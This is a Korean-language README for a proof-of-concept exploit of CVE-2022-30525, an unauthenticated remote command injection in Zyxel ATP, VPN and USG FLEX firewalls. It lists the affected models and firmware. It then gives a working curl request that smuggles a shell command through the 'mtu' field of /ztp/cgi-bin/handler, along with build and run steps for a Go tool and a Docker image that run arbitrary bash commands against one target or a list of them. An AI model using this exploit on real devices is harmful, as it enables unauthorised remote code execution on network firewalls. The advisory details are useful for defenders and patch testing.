
CVE-2022-30525에 대한 초기 PoC
Rapid7이 Zyxel 방화벽 중 ZTP(Zero Touch Provisioning)를 지원하는 ATP 시리즈, VPN 시리즈, USG FLEX 시리즈(USG20-VPN 및 USG20W-VPN 포함)에 영향을 미치는 취약점을 발견하고 보고했습니다. CVE-2022-30525로 식별된 이 취약점은 인증되지 않은 원격 공격자가 영향을 받는 장치에서 nobody 사용자로 임의 코드 실행을 달성할 수 있도록 합니다.
다음 표에는 영향을 받는 모델과 펌웨어 버전이 나와 있습니다.
Affected Model USG FLEX 100, 100W, 200, 500, 700 ZLD5.00 thru ZLD5.21 Patch 1 USG20-VPN, USG20W-VPN ZLD5.10 thru ZLD5.21 Patch 1 ATP 100, 200, 500, 700, 800 ZLD5.10 thru ZLD5.21 Patch 1
ZTP를 지원하는 VPN 시리즈는 필요한 기능을 지원하지 않기 때문에 취약하지 않습니다.
영향을 받는 모델은 관리 HTTP 인터페이스를 통해 인증되지 않은 원격 명령 주입에 취약합니다. 명령은 nobody 사용자로 실행됩니다. 이 취약점은 /ztp/cgi-bin/handler URI를 통해 악용됩니다.
curl -v --insecure -X POST -H "Content-Type: application/json" -d
'{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged"
:"1","vlanid":"5","mtu":"; ping 192.168.1.220;","data":"hi"}'
https://192.168.1.1/ztp/cgi-bin/handler
다음 형식으로 프로그램을 통해 실행할 명령을 추가할 수 있는 cmds 파일이 생성되어 있어야 합니다:
bash -c "command#1 && command#2 && etc."
For example:
bash -c "ping 8.8.8.8"
Golang
1. git clone https://github.com/iveresk/cve-2022-30525.git
2. cd cve-2022-30525
3. go build cve-2022-30525.go -o /cve-2022-30525
4. chmod +x cve-2022-30525
5. ./cve-2022-30525 -t <targetURL> [or <targetFile>]
Dockerfile
docker run -it -e INPUT_FILE=<file_name> masterrooot/cve-30525
여기서 INPUT_FILE은 대상 URL 또는 대상 목록이 포함된 파일입니다.
자세한 내용은 Keybase를 통해 언제든지 연락해 주세요.